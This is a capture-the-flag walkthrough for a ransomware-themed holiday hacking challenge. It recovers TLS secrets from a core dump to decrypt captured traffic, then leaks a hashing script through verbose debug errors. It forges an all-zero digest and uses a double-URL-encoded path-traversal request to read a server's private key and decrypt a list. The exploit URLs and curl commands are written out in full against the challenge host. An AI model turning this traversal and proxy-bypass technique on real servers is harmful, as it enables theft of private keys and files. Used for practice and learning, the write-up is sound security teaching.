Skip to content

Decrypt the Naughty-Nice List⚓︎

Difficulty:
image

Objective⚓︎

Decrypt the Frostbit-encrypted Naughty-Nice list and submit the first and last name of the child at number 440 in the Naughty-Nice list.

Hints⚓︎

Dusty Giftwrap

I'm with the North Pole cyber security team. We built a powerful EDR that captures process memory, network traffic, and malware samples. It's great for incident response - using tools like strings to find secrets in memory, decrypt network traffic, and run strace to see what malware does or executes.

Dusty GiftWrap

The Frostbit infrastructure might be using a reverse proxy, which may resolve certain URL encoding patterns before forwarding requests to the backend application. A reverse proxy may reject requests it considers invalid. You may need to employ creative methods to ensure the request is properly forwarded to the backend. There could be a way to exploit the cryptographic library by crafting a specific request using relative paths, encoding to pass bytes and using known values retrieved from other forensic artifacts. If successful, this could be the key to tricking the Frostbit infrastructure into revealing a secret necessary to decrypt files encrypted by Frostbit.

Gold Solution⚓︎

Artifacts⚓︎

  • frostbit.elf
  • frostbit_core_dump.13
  • naughty_nice_list.csv.frostbit
  • ransomware_traffic.pcap

Strings⚓︎

Let's get an idea of what the binary might have in it:

strings frostbit.elf
Lots of crypto references.

strings frostbit_core_dump.13
Some of the interesting output

./frostbit.elf HOSTNAME=57eb0d3df833 HOME=/root RID=c22204b3-bf46-4af0-b6b4-95cf47d9a845 TMPDIR=/output/tmpsotmi09b TERM=xterm PATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin NPGENCONT=NPGENCONT GOPATH=/go PWD=/app GOLANG_VERSION=1.20.14 ./frostbit.elf

strings frostbit_core_dump.13| grep -iE "https|api.frostbit.app|api\/v1" api.frostbit.app GET /api/v1/bot/c22204b3-bf46-4af0-b6b4-95cf47d9a845/session api.frostbit.app api.frostbit.appISRG Root X1 api.frostbit.app.c.holidayhack2024.internal. api.frostbit.app.google.internal. https://api.frostbit.app/view/r2EEh59j4y3fLiV/c22204b3-bf46-4af0-b6b4-95cf47d9a845/status?digest=06600dd02810cd040514000c10026e00 https://api.frostbit.app/api/v1/bot/c22204b3-bf46-4af0-b6b4-95cf47d9a845/sessionhttps://api.frostbit.app/api/v1/bot/c22204b3-bf46-4af0-b6b4-95cf47d9a845/keyit POST /api/v1/bot/c22204b3-bf46-4af0-b6b4-95cf47d9a845/key HTTP/1.1 Host: api.frostbit.app https://api.frostbit.app/view/r2EEh59j4y3fLiV/c22204b3-bf46-4af0-b6b4-95cf47d9a845/status?digest=06600dd02810cd040514000c10026e00

These strings are all variations of the same letters in the binary file: AWAVAUATUSH AVAUATUSH AVAUATA AVAUI ATUSH AWAVAUATI

Strace⚓︎

The hint suggests using strace so let's make sure we do that on frostbit.elf.

strace ./frostbit.elf

Key Points⚓︎

File Access⚓︎

The file DoNotAlterOrDeleteMe.frostbit.json is opened and read. This suggests the binary relies on external configuration or state information stored in this JSON file. epoll_ctl calls failed with EPERM—possibly due to insufficient permissions or incorrect configuration.

Custom Behavior⚓︎

Signals like SIGURG might indicate custom asynchronous notifications or operations. JSON file read contained a digest field, which could involve verification or hashing.

Decrypting the PCAP⚓︎

In order to decrypt the pcap, we would need the pre-master secret from that session. First step is to narrow our strings focus to "secrets."

strings frostbit_core_dump.13 | grep -iE "secret"
master secret
extended master secret
CLIENT_HANDSHAKE_TRAFFIC_SECRET 
CLIENT_HANDSHAKE_TRAFFIC_SECRET 013cfd871f3132fcb0de83211d1bb81c9b4219afb44a640a2f087260ada62c73 0d927b7d35f4b83263cfa72eb815b3
SERVER_TRAFFIC_SECRET_0 013cfd871f3132fcb0de83211d1bb81c9b4219afb44a640a2f087260ada62c73 39fbdb580b2337c427c058d8529ef633af0b167b88f2d356be5976d27447d739
CLIENT_HANDSHAKE_TRAFFIC_SECRET 013cfd871f3132fcb0de83211d1bb81c9b4219afb44a640a2f087260ada62c73 0d927b7d35f4b83263cfa72eb815b3ee44ac961a24c2ed53d2c37d6d4c8bec6e
SERVER_HANDSHAKE_TRAFFIC_SECRET 013cfd871f3132fcb0de83211d1bb81c9b4219afb44a640a2f087260ada62c73 9a5955c5936c86113d0fce4d31889268daf1ce4f40e0ac502f55555824afc498
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\CLIENT_HANDSHAKE_TRAFFIC_SECRET 013cfd871f3132fcb0de83211d1bb81c
CLIENT_HANDSHAKE_TRAFFIC_SECRET 013cfd871f3132fcb0de83211d1bb81c9b4219afb44a640a2f087260ada62c73 0d927b7d35f4b83263cfa72eb815b3ee44ac961a24c2ed53d2c37d6d4c8bec6e
SERVER_HANDSHAKE_TRAFFIC_SECRET 013cfd871f3132fcb0de83211d1bb81c9b4219afb44a640a2f087260ada62c73 9a5955c5936c86113d0fce4d31889268daf1ce4f40e0ac502f55555824afc498
CLIENT_TRAFFIC_SECRET_0 013cfd871f3132fcb0de83211d1bb81c9b4219afb44a640a2f087260ada62c73 9dec14c61bcc07d59a8fd64d98a2fdb906ef2be872c1a5dba21bfaf187e24474
SERVER_TRAFFIC_SECRET_0 013cfd871f3132fcb0de83211d1bb81c9b4219afb44a640a2f087260ada62c73 39fbdb580b2337c427c058d8529ef633af0b167b88f2d356be5976d27447d739
getsecretkey
key_secretkey_is_set
key_setsecret
Perfect! The format of *TRAFFIC_SECRET strings are exactly what we need to decrypt the pcap so let's copy/paste the *TRAFFIC_SECRET strings into a sslkey.log file that we can then load into Wireshark.

premastersecret

Great! Now our pcap shows the http traffic rather than just TLS encrypted traffic. First stop: Export Objects!
howtoexport

Score! It looks like those json files we exported included some session info and a couple of key files:

cat session
{"nonce":"f1438b9b29d6c6e6"}

cat key
{"encryptedkey":"37fdeb2a61b75e0fe2970b52715b31c2035704151ee87606d3c3203475a5f1e274143d91b71ab1c945d7462ca94a339935ed7e770c5be47d423937298431135b035b9741eda44f9b6b7fe8ccf5a574a12bc868d3479cb7cb056480f6f74583652d832ec034d337ad962bd3f5dfd8965e18bb15db5d6c2de026d534f8377fc552dbea336d587d302c38019ae6771d1fd9b0d58b5b4f6cd66a0508718b598c8d3b336554e6117209c1b6349a927714c6776cb4e9d80b705093447de18db41d70e2a2ad47fd6ea8e4accd930db04d67b751887042b9f30d693d371de5d6a8c1438bcb37475baea5394b7629aec305087612fa956b7e4e3e57111b28c3ee69608be9ecabecf8b11b4482b5855c24a36314b0b06ddd9d430fd4b58fb976c779e4c8433a33352ce34f7b56eeeb381e57b46c8fd8b039325cd3f0626c7e09388fb4f9eea108625a8ebd84fb7a76a303c8db032cf818fb82db03fa4b6906bc343613180a3dc2a79c1c38684afc7043aeb8e79ef055a6f43269c29e4f1c13b8bb8ffb4c0b4296b620c93f82aad2d84f1e62e10f026a2feb5267c0819b90a4306aab9a478e3af2f236fafbdd4a63766199393654e0568c846b547b2c2c8f874730ecca33b428293ff4643840c69dd16c85128e154a1904c1f1c42e5d3166330fd57fa6b357006c4e3e59a36399d584f032c8d5228f0e551ad6a7a6d8de84be9e4062e229ee","nonce":"f1438b9b29d6c6e6"}%         

cat 'key(1)'
{"digest":"9120a9cc0494a2c096519dae78042040","status":"Key Set","statusid":"D76Fvhi5Sf0"}
The key(1) file matches our DoNotAlterOrDeleteMe.frostbit.json file exactly.

Time to see if these details are used anywhere in the ransomeware's URL structure:

strings frostbit_core_dump.13| grep -iE "https://"
https://api.frostbit.app/view/D76Fvhi5Sf0/bf43da2a-23ed-4a0c-9953-986e58e6c5d7/status?digest=9120a9cc0494a2c096519dae78042040
https://api.frostbit.app/view/D76Fvhi5Sf0/bf43da2a-23ed-4a0c-9953-986e58e6c5d7/status?digest=9120a9cc0494a2c096519dae78042040
https://api.frostbit.app/api/v1/bot/bf43da2a-23ed-4a0c-9953-986e58e6c5d7/sessionhttps://api.frostbit.app/api/v1/bot/bf43da2a-23ed-4a0c-9953-986e58e6c5d7/keyit

In looking at the website api.frostbit.app/, the domain name looks familiar. While going through the SantaVision challenge, one of the feeds displayed this message: "Let's Encrypt cert for api.frostbit.app verified. at path /etc/nginx/certs/api.frostbit.app.key"

Let's see if the website will cough up any details about its structure or the application's functionality by seeing what sort of error messages the debug function gives us.

https://api.frostbit.app/view/D76Fvhi5Sf0/bf43da2a-23ed-4a0c-9953-986e58e6c5d7/status?digest=9120a9cc0494a2c096519dae78042040&debug=true

What if we were to delete or change digits to the digest parameter? What type of error does it give us about what the program expects from the parameter?

https://api.frostbit.app/view/D76Fvhi5Sf0/bf43da2a-23ed-4a0c-9953-986e58e6c5d7/status?digest=9120ac094a2c096519dae78042040&debug=true

Error Message

'Status Id File Digest Validation Error: Traceback (most recent call last):\n File "/app/frostbit/ransomware/static/FrostBiteHashlib.py", line 55, in validate\n decoded_bytes = binascii.unhexlify(hex_string)\nbinascii.Error: Odd-length string\n'

This error message indicates that the digest parameter is expected to be a hex string with an even number of characters. The server is attempting to decode the value using binascii.unhexlify, but because we removed a digit, the string length became odd, which caused the decoding to fail.

Additional error message testing

When we try replacing the value with a non-hex character, we get this error:

Error Message

'Status Id File Digest Validation Error: Traceback (most recent call last):\n File "/app/frostbit/ransomware/static/FrostBiteHashlib.py", line 55, in validate\n decoded_bytes = binascii.unhexlify(hex_string)\nbinascii.Error: Non-hexadecimal digit found\n'

But the length seems flexible so long as it is an even number.

https://api.frostbit.app/view/D76Fvhi5Sf0/bf43da2a-23ed-4a0c-9953-986e58e6c5d7/status?digest=&digest=00&debug=true
digest values of 00, 0000, and FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF all produce:

Error Message

no digest provided

It's time to focus on the file path to the python file and see what else we can learn. This file path is an absolute file path, the domain doesn't usually start at root so we need a clue that will tell us where we are in the file structure so we can find that py file. Looking at the html source code gives us a big hint: static

Now we can use this information to form our URL to view the python script:

curl https://api.frostbit.app/static/FrostBiteHashlib.py

Python Script Contents
import traceback
import binascii

class Frostbyte128:
    def __init__(self, file_bytes: bytes, filename_bytes: bytes, nonce_bytes: bytes, hash_length: int = 16):
        self.file_bytes = file_bytes
        self.filename_bytes = filename_bytes
        self.filename_bytes_length = len(self.filename_bytes)
        self.nonce_bytes = nonce_bytes
        self.nonce_bytes_length = len(self.nonce_bytes)
        self.hash_length = hash_length
        self.hash_result = self._compute_hash()

    def _compute_hash(self) -> bytes:
        hash_result = bytearray(self.hash_length)
        count = 0

        for i in range(len(self.file_bytes)):
            xrd = self.file_bytes[i] ^ self.nonce_bytes[i % self.nonce_bytes_length]
            hash_result[count % self.hash_length] = hash_result[count % self.hash_length] ^ xrd
            count += 1

        for i in range(len(self.filename_bytes)):
            count_mod = count % self.hash_length
            count_filename_mod = count % self.filename_bytes_length
            count_nonce_mod = count % self.nonce_bytes_length
            xrd = self.filename_bytes[count_filename_mod] ^ self.nonce_bytes[count_nonce_mod]
            hash_result[count_mod] = hash_result[count_mod] & xrd
            count += 1

        return bytes(hash_result)

    def digest(self) -> bytes:
        """Returns the raw binary hash result."""
        return self.hash_result

    def hexdigest(self) -> str:
        """Returns the hash result as a hexadecimal string."""
        return binascii.hexlify(self.hash_result).decode()

    def update(self, file_bytes: bytes = None, filename_bytes: bytes = None, nonce_bytes: bytes = None):
        """Updates the internal state with new bytes and recomputes the hash."""
        if file_bytes is not None:
            self.file_bytes = file_bytes
        if filename_bytes is not None:
            self.filename_bytes = filename_bytes
        if nonce_bytes is not None:
            self.nonce_bytes = nonce_bytes

        self.hash_result = self._compute_hash()

    def validate(self, hex_string: str):
        """Validates if the provided hex string matches the computed hash."""
        try:
            decoded_bytes = binascii.unhexlify(hex_string)
            if decoded_bytes == self.digest():
                return True, None
        except Exception as e:
            stack_trace = traceback.format_exc()
            return False, f"{stack_trace}"
        return False, None

What is Happening in the Hashing Script⚓︎

First Loop (XOR Phase)⚓︎

Iterates over each byte in file_bytes. For the i-th byte, it takes the corresponding (or repeated) byte from nonce_bytes (using i % len(nonce_bytes)) and XORs them. Then it XORs that result into hash_result[count % hash_length].

Second Loop (AND Phase)⚓︎

Iterates over each byte in filename_bytes. For the i-th byte, it XORs filename_bytes[i] with a corresponding (or repeated) nonce_bytes[i]. Then it ANDs this value into the same hash_result[count % hash_length].

Final Hash⚓︎

After both loops, the 16-byte hash_result is the final output. digest() returns the raw bytes, while hexdigest() returns the hex-encoded string.

XOR Phase: Incorporates the file_bytes into the hash, mixing in the nonce_bytes for each byte. AND Phase: Incorporates the filename_bytes by further manipulating the hash buffer with bitwise AND and another XOR with the nonce_bytes.

This means that the we can control the output if we have some control if we can make the digest something predictable because of how it iterates over the identifiers in the AND portion of the hashing process. Additionally, we noticed from our error/debug testing that the statusID is referred to as a file - indicating that it is a file path. The statusID is a 16 byte element so if we use the 8 byte nonce and repeat it for the 16 bytes, that will cause our digest to be all zeroes and we can append to the statusID our local file inclusion request.

StatusID = nonce,nonce,LFI⚓︎

https://api.frostbit.app/view/7210cbfcb17d4e947210cbfcb17d4e94/../../../../../etc/nginx/certs/api.frostbit.app.key/9c5e7d5a-0d19-4ed0-9f93-017cab14fd7d/status?digest=00000000000000000000000000000000&debug=true
https://api.frostbit.app/view/%72%10%cb%fc%b1%7d%4e%94%72%10%cb%fc%b1%7d%4e%94%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fnginx%2Fcerts%2Fapi%2Efrostbit%2Eapp%2Ekey/9c5e7d5a-0d19-4ed0-9f93-017cab14fd7d/status?digest=00000000000000000000000000000000&debug=true

The Private Key⚓︎

One of our hints mentioned, "The Frostbit infrastructure might be using a reverse proxy, which may resolve certain URL encoding patterns before forwarding requests to the backend application" so we will use double URL-encoding when crafting our URL with the digest. Because the statusID is a file location that's displayed in hex and the hashing script iterates over each of the bytes, we will need to double-URL-encode each byte of that in addition to the local file inclusion portion that we're appending to the statusID.

curl https://api.frostbit.app/view/%2572%2510%25cb%25fc%25b1%257d%254e%2594%2572%2510%25cb%25fc%25b1%257d%254e%2594%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fetc%252Fnginx%252Fcerts%252Fapi%252Efrostbit%252Eapp%252Ekey/9c5e7d5a-0d19-4ed0-9f93-017cab14fd7d/status?digest=00000000000000000000000000000000&debug=true

privatekey

echo "<private_key_with_headers>" > rsa.private

Using the Private Key to get the Symmetric Key⚓︎

openssl pkeyutl -decrypt -inkey rsa.private -in encrypted_key.bin -out decrypted_key
cat decrypted_key

Output

f5c36dbef7e687b156818907bc2039b0,7210cbfcb17d4e94%

We recognize this format from our exploration of strings where we saw the encryptedkey followed by the nonce, except now this is the decrypted key with the nonce. Now we can plug this information into CyberChef. Knowing that the nonce is 8 bytes rather than 16 begs the question of whether or not the format is HEX. Playing around with the mode and formats, it becomes clear when the message decrypts.

decryptedtext

Scrolling through the output section of CyberChef, we can now view the kid's name who is number 440 to answer our objective!

Answer

440 Xena Xtreme 13 Naughty Had a surprise science experiment in the garage and left a mess with the supplies